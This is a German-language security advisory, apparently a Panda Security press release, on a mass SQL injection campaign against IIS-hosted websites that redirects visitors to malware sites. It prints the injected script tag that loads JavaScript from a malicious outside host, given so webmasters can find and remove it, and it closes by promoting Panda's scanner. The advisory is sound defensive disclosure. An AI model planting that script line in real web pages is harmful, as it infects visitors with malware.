Die Schwachstelle wird genutzt, um schädlichen SQL Code in alle Webseiten, die auf einem Internet Information Server gehostet sind, einzufügen. So werden Besucher von legalen Seiten auf schädliche Seiten umgeleitet. Dort findet eine Überprüfung des User-PCs nach Schwachstellen, die zum Einschleusen von Schädlingen aller Art genutzt werden können, statt.
Panda Security rät allen Webmastern, deren Internetseiten auf einem Internet Information Server gehostet sind, so schnell wie möglich zu überprüfen, ob ihre Webseiten von diesem Angriff betroffen sind. Das festzustellen ist einfach: Manipulierte Webseiten enthalten in ihrem Quellcode folgenden String, der mit einem IFRAME Tag verbunden ist:
<script src=http://www.nihaorr1.com/1.js>
Wenn er tatsächlich im Quellcode auftaucht, sollte er sofort gelöscht und der verantwortliche Administrator des entsprechenden Servers in Kenntnis gesetzt werden, damit er die nötigen Sicherheitsmaßnahmen treffen kann.
Angesichts der Menge der betroffenen Webseiten, könnten schon zahlreiche Anwender mit verschiedenen Schädlingen infiziert worden sein. Panda Security empfiehlt allen Usern ihre Systeme mit dem Online-Scanner „Panda ActiveScan 2.0“ (www.infectedornot.com) kostenfrei nach Malware zu scannen. Der Online-Scanner basiert auf den Technologien des neuen Sicherheitsmodells „Collective Intelligence“ und hat eine höhere Erkennungskapazität als installierte Sicherheitslösungen.